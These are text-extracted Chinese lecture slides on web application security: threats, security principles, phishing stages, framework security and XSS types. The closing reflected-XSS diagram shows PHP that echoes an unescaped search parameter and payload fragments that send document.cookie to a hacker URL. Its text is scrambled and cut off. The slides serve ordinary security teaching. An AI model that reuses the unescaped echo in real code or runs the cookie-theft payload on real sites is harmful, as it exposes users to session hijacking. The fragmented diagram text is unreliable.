第10章Web应用安全PPT讲义.docx

第10章WEB应用安全

信息安全概论课程组

网络空间安全系

2020年春

本章内容

·Web安全概述

10.1

10.2·Web安全

10.3·Web安全攻防技术

本章内容

·Web安全概述

10.1

10.2·Web安全

10.3·Web安全攻防技术

Web应用程序

□Web应用程序的特点

口(1)采用Internet上标准的通信协议(通常是HTTP)作

为客户端与服务器通信的协议。

□(2)在服务器上对数据进行处理，将处理的结果生成网页，方便客户端用户直接浏览阅读。

口(3)浏览器作为客户端的应用程序，简化了客户端上数

据的处理过程。

客户端服务器

客户端

Web应用程序

□Web应用的要素口浏览器

口服务器

□HTTP/HTTPS

□前端技术

□Web应用程序口数据库

..,

前端技术—HTML、CSS、JavaScript

事件

X)HTMLJavaScript结构行为

控制结构

CSS表现

CSS

Web安全威胁

数据

数据

Web应用程序

浏览器

Web服务器

系统

系统

网络

Web安全中的重要原则

□实现Web安全应该遵循的原则口(1)最小特权原则

口(2)纵深防御原则

口(3)数据代码分离原则

口(4)不可预测原则

口(5)浏览器同源策略

Web安全攻防技术

□Web安全攻防技术

□Web应用信息收集

□Web服务器攻击

□Web客户端攻击

本章内容

·Web安全概述

10.1

10.2·Web安全

10.2

10.3·Web安全攻防技术

浏览器及安全

JSEngine

ECMAScriptBinding

StreamTokenizer/ParserDOMBuilderDOMLayoutEngineRenderingout

CSS

HTMLValidator

CSSParser

浏览器攻击

□浏览器攻击方式

□网络钓鱼

□网页木马病毒

服务器软件及安全

口服务器软件及安全

□Web服务器软件作为Web应用的容器，是Web攻击者重要的攻击目标。Web攻击者可使用各种工具和方法针对

Web服务器软件的漏洞和不安全的配置对其进行攻击。

目前，针对Windows/IIS/MSSQLServer/ASP和LAMP两

种常见架构已经出现了很多成熟的攻击技术和方法。

网络钓鱼

□网络钓鱼通常包含以下五个阶段：

□①攻击者入侵初级服务器，窃取用户名和邮件地址；

□②攻击者发送有针对性的假冒网址的邮件；

□③受害用户访问假冒网址；

□④受害用户的隐私信息被攻击者取得；

□⑤攻击者使用受害用户的身份进入其他网络服务器。

Web框架安全

Struts框架

Spring框架

□Hibernate框架

□Django框架

□Rails框架

□jQuery框架

本章内容

·Web安全概述

10.1

10.2·Web安全

10.3·Web安全攻防技术

XSS攻击及其防御

口XSS攻击，Cross-SiteScripting,跨站脚本攻击

□作为最普遍的网页语言，HTML非常灵活，你可以在任意时候对HTML进行修改。

□通过给定异常的输入，黑客可以在你的浏览器中，插入一段恶意的JavaScript脚本，从而窃取你的隐私信息或者仿冒你进行操作。

XSS攻击类型

□反射型XSS

□存储型XSS攻击

□DOMXSS攻击

XSS攻击类型

反射型XSS

网页服务器

黑客?php

黑客

$search=$GET[search];

echoh3你搜索的结果内容是：.$search·/h3;

7

1.诱导用户点击：

4.浏览器请求：

2.浏览器请求：

3.服务器拼接

/

http://

/

search参数并返回

index.php?

?

index.php?

带恶意脚本的html

search=script,.

cookie=document.

search=script..

/script

cookie

/script

用户浏览器

h3你搜搜的结果内容是：/h3scriptwindow.location=http://hacke

h3你搜搜的结果内容是：/